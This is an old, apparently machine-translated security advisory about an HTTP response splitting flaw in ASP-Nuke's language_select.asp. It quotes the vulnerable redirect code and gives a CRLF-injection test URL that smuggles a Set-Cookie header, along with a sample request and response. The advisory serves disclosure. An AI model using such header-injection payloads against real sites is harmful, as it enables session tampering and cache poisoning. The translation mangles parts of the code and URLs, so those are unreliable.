Aspnuke language_select.asp HTTP Response Splitting Vulnerability

Source: Internet
Author: User
Tags microsoft iis
Release date:2005-06-28
Updated on:2005-06-28

Affected Systems:

ASP-nuke <= 0.80


BugTraq ID: 14063

ASP nuke is an open source software application that can run community-based sites on Web servers.

An HTTP Response Splitting vulnerability exists in aspnuke. attackers who successfully exploit this vulnerability can influence or mislead the methods of saving, caching, or interpreting web content.

The cause is that user input is not properly filtered. Please refer to the Code in/module/support/Language/language_select.asp line 31st:

If steform ("action") = "go" then
'Make sure the required fields are present
If trim (steform ("langcode") = "" then
Serrormsg = stegettext ("Please select a language from the list
Below ")
'Redirect to the language Administration
Response. Redirect "tran_list.asp? Langcode = "&
Steencform ("langcode ")
End if
End if

During redirection, attackers may execute CRLF Injection attacks because they do not filter them.

<* Source: Albert to triweaver (

Link: /? L = BugTraq & M = 111989223906484 & W = 2

Test method:


The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Http:// Action = Go & langcode = trivero % 0d % 0aset-cookie % 3 asome % 3 dvalue

The following is an example of the HTTP header:

/Module/support/Language/language_select.asp? Action = Go & langcode = trivero % 0d % 0
ASET-Cookie % 3 asome % 3 dvalue HTTP/1.0
Accept :*/*
Content-Type: Application/X-WWW-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Content-Length: 90
COOKIE: aspsessionidscrdcdad = nmdfffjbfmlbndnfjdfgagpp; Language = us
Connection: Close

HTTP/1.1 302 Object Moved
Server: Microsoft-Microsoft IIS/5.0
Date: Sun, 15 May 2005 11:31:37 GMT
Pragma: No-Cache
Location: tran_list.asp? Langcode = triweaver
Set-COOKIE: Some = Value
Connection: keep-alive
Content-Length: 121
Content-Type: text/html
Expires: Sun, 15 May 2005 11:30:38 GMT
Cache-control: No-Cache


Vendor patch:

Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:



Take a good look at the articles I wrote. Maybe you will find other vulnerabilities.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.